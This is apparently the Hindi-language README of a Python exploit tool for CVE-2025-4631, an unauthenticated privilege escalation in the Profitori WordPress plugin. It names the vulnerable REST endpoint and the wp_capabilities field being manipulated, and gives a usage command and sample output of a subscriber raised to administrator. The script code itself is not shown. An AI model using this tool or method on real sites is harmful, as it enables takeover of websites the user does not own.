CVE-2025-4631

🚨 CVE-2025-4631 - Profitori WordPress प्लगइन विशेषाधिकार वृद्धि शोषण

📌 भेद्यता सारांश

Profitori प्लगइन (संस्करण 2.0.6.0 से 2.1.1.3) /wp-json/stocktend/v1/stocktend_object एंडपॉइंट में क्षमता जाँच की कमी के कारण अप्रमाणित विशेषाधिकार वृद्धि के लिए असुरक्षित है। यह दूरस्थ हमलावरों को wp_capabilities मेटा फ़ील्ड में सीधे हेरफेर करके मौजूदा उपयोगकर्ताओं के विशेषाधिकारों को बढ़ाने (या नए बनाने) की अनुमति देता है।

• CVE: CVE-2025-4631
• CVSS स्कोर: 9.8 (गंभीर)
• प्रकाशित: 30 मई, 2025
• अंतिम अद्यतन: 31 मई, 2025

---

🛠️ यह स्क्रिप्ट क्या करती है

यह Python शोषण निम्नलिखित द्वारा विशेषाधिकार वृद्धि प्रक्रिया को स्वचालित करता है:

1. ✅ readme.txt फ़ाइल के माध्यम से प्लगइन संस्करण की जाँच करना।
2. 🚀 यदि कोई असुरक्षित संस्करण पाया जाता है तो असुरक्षित REST API एंडपॉइंट का शोषण करना।
3. 📡 किसी उपयोगकर्ता के विशेषाधिकारों को व्यवस्थापक तक बढ़ाने के लिए पेलोड भेजना।
4. 🧾 संशोधित उपयोगकर्ता की साख सहित स्वरूपित, विस्तृत परिणाम मुद्रित करना।

यदि संस्करण जाँच विफल हो जाती है, तो शोषण चेतावनी के साथ सावधानीपूर्वक आगे बढ़ता है।

---

📸 शोषण प्रमाण

---

💻 उपयोग

usage: CVE-2025-4631.py [-h] -u URL -id ID [--email EMAIL] [--name NAME] [--url_field URL_FIELD] [--verbose]

उदाहरण:

python CVE-2025-4631.py -u http://nxploit.ddev.site -id 3

नमूना आउटपुट:

[📄] Checking plugin version at: http://nxploit.ddev.site/wp-content/plugins/profitori/readme.txt
[✅] Vulnerable version detected: 2.1.1.3
[🚀] Exploiting in 3 seconds...
[📡] Sending privilege escalation request to: http://nxploit.ddev.site/wp-json/stocktend/v1/stocktend_object
[🎯] Exploit completed successfully!

[🧾] Updated User Information:
--------------------------------------
🆔 User ID         : 3
👤 Username        : subscriber
📧 Email           : [email protected]
🪪 Display Name    : Subscriber User
🔗 User URL        : 
🛡 Role Raw        : a:1:{s:13:"administrator";b:1;}

[👑] Exploit By : Nxploited (Khaled_alenazi)
🔗 GitHub       : https://github.com/Nxploited
📧 Email        : [email protected]

---

⚙️ स्क्रिप्ट तर्क

ध्वज	विवरण	आवश्यक
-u, --url	🌐 WordPress साइट का आधार URL	✅ हाँ
-id	🆔 विस्तारित करने वाले उपयोगकर्ता का आईडी	✅ हाँ
--email	📧 प्रदर्शित करने के लिए नकली ईमेल	❌ नहीं
--name	👤 प्रदर्शन नाम	❌ नहीं
--url_field	🔗 उपयोगकर्ता URL फ़ील्ड	❌ नहीं
--verbose	🔍 पूर्ण JSON प्रतिक्रिया मुद्रित करें	❌ नहीं

---

📂 आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी

इसके माध्यम से स्थापित करें:

pip install requests

---

⚠️ अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इस शोषण का उन प्रणालियों के विरुद्ध दुरुपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है, सख्त वर्जित है। निर्माता अनुचित उपयोग से उत्पन्न किसी भी क्षति या कानूनी परिणामों के लिए जिम्मेदार नहीं है।

---

द्वारा: Nxploited ( Khaled_Alenazi )